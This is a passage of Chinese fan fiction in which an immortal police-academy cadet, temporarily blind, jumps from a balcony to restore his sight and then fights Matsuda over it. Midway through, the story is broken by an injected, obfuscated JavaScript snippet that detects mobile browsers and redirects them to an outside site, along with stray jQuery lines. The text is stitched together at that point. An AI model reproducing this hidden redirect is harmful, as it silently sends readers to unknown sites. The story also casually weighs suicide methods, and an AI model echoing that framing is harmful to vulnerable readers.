“哈？这么重要的事怎么不早说！”
你们又没问。
不愧是幼驯染，吃惊的反应都一模一样。
说话间，我被人从地上拉起来，牵引着走了几步。
有衣物摩擦的声音，似乎还有静电的噼啪声。
“现在能看到吗？”
“看不见。”
“hagi，开车去医院。”
“不，等下……”
不等我拒绝，一只大手抓在我胳膊上，不由分说，拉起我就走。
我被带的踉跄了几步，那个力道变小了一些，手的动作和缓下来。
我这才有机会稳住身形。
“等等，不用去医院。”
我真的不想再坐萩原的车，而且这种情况去医院也查不出来什么吧？更何况我觉得我没瞎，瞎掉后的视野不是一整片漆黑，而是虚无。
什么都没有的那种虚无。
现在更像是，被一块厚厚的黑布挡住了视线。
“过一段时间就能恢复了。”
“多久？”
……那我哪知道。
好说歹说，终于成功劝说了他们把我带回宿舍而不是医院，不过临走前卷毛威胁我，如果明天还是视力恢复不了，他就算用绑的也会把我绑过去。
萩原显然也打算这么做，不过比他体贴一些，除了告诉我东西的位置，他还给我留了一个和遥控器差不多形状的东西，说如果我有需要就按一下，他立刻就过来。
据说是松田拆电视机改造的。
他没说电视机的结局怎么样，因为暴躁卷毛这时候很用力的咳了一声，半长发的男生身体一抖，嘿嘿讪笑了两声没敢继续说下去。
我反正是没有松田那技术，修理电器的方法一共就两种。
拍几下不管用，就直接关机重启。
我思考片刻，决定尝试一下关机。
一来能确定一下失明的原因，二来还能看看色儿，一举两得，反正我怎么作都不会死。
那就往死里作。
然而真正实施的时候我傻眼了。
撞墙动静又大成功率又低，吃药剂量不够，唯一的一把刀还被萩原没收了，警校宿舍又没有独立卫浴，连盆水都找不着。
这次难度可真大。
我摸索着自己走了几步，结果一头撞在阳台的玻璃门上。
……这糟心玩意儿。
不过这也提醒了我，用语音助手定好闹钟，凌晨两点，我推开阳台门，先倒了一杯水下去。
很好，没人。
想想也是，周六大家能回家的都回去了，谁会在这个时间点游荡？
正好一直想玩蹦极来着，可惜还没等玩上就来了这个鬼地方，正好体验一把刺激的。
我爬上阳台，朝后倒去——
嘭的一声闷响后，世界再次归于寂静。
疼，真疼，这可比之前空气栓塞那次疼多了，眼前的黑雾被疼痛击碎，只剩下朗阔的夜空。
——以及一双充斥着惊愕的凫青色双眸。
啊啊啊啊啊啊啊啊woc松田阵平是从哪蹦出来的啊！
不行，绝对不能让他去叫人，得赶紧说点什么才行！
好巧啊松田？
巧你妹啊啊啊啊啊！
我慌乱的想解释，一张嘴先咳出来的却是血。
完蛋，看来是肺摔裂了。
卷发青年跪在我身边，睁大的眸子难以理解发生了什么，他想伸出去手帮我，却不知从何做起，只能发出撕心裂肺的怒吼。
“混蛋！你在干什么？！”
“为什么这么做？！到底是什么狗屁理由值得你去死？！”
“喂！给我坚持住！不许……”
他瞳孔骤缩了一下，拿出手机呼救的动作也停滞住。
我知道他看见了什么，胸口的锐痛已经减轻了不少，可以开口说话。
“没事。”
“不用去医院了，我现在看得见。”
听见这句话的卷发青年面色更难看了，愤怒的火焰从那双凫青色的眼睛里熊熊燃烧，他一把抓起我的衣领，看样子很想一拳揍过来。
“这又是你的能力？你这混蛋！耍我很好玩吗？你知不知道我真以为你……”
“抱歉，”面对明显在气头上的家伙，现在还是不宜和他争执为好，“我没想让你看到的，跳下来之前我特意倒了杯水确定没有人才……”
“没人你就跳楼？”他的音量又高了一些。我皱了皱眉，这样迟早会把其他人引过来的。
“你安静点。”
“让我安静？好啊，那你倒是说说你为什么要跳楼？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529903|186358||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“找死吗？”
说着他拽着我衣领狠狠一掼，我重新摔回地上。
烦躁的情绪上涌，要不是他规定我明天必须恢复视力，我怎么可能牺牲宝贵的睡眠时间大半夜起来跳楼？
不行，忍住……
“说话！哑巴了？”
他一脚踹向旁边的墙壁，声音沉闷，却在我脑海中回荡着巨响。
啊啊，都说了安静点啊！
脑袋一阵嗡鸣，无数人的喧闹声在我脑海里响起，名为理智的弦一根根崩断，淹没在无尽的回声里。
“为什么？当然是因为刺激啊。”我缓缓抬头，露出一个挑衅的笑。
“反正我又死不了。”
“哈？死不了就可以浪费生命吗？就为了寻找刺激？！”
“有什么不对吗？”我浪没浪费生命自己还不知道？轮得到他来教训我？
“实话告诉你，我已经死了好几次了，诸伏那次是，萩原试探我那次也是，要说浪费也早就浪费过了！”
还没等我说完，砂锅大的拳头已经挨上了我的脸颊，我被打的后退了好几步，脸颊传来一片火辣辣的刺痛。
“你这家伙，也配穿这身警服？”
浓浓的愤怒和失望从那双凫青色里传来，化为利刃，割开了我最后的理智。
嘣——
有什么东西，断了。
下一刻，我的拳头同样挥向了他。
“你以为我愿意穿？哈，老子一个本科学临床的，好好的医生不当跑来这里当什么警察？还不是因为我没得选！”
“一睁眼就是这里，还他妈的每天都被迫看见你们这除了黑白什么都没有的五张脸，闭上眼睛都不消停，无论做什么事情都会被扰乱，这样的日子爱他妈谁过谁过，老子不过了！”
“最操蛋的是我他妈的居然还死不了，你以为我愿意从楼上跳下去？还不是因为不到濒死的时候，它根本不让我看这个世界的，真实啊！”
“呵，说什么浪费生命，老子早就死了，来这之前就死了！”
“老子早就，是一具尸体了！”
砰——我再一次被打翻在地。
“鹿谷隼二！你在说什么胡话？！”
“你他妈的喊谁呢，老子根本不叫鹿谷隼二！”
挥起拳头，我再度冲向了那个人。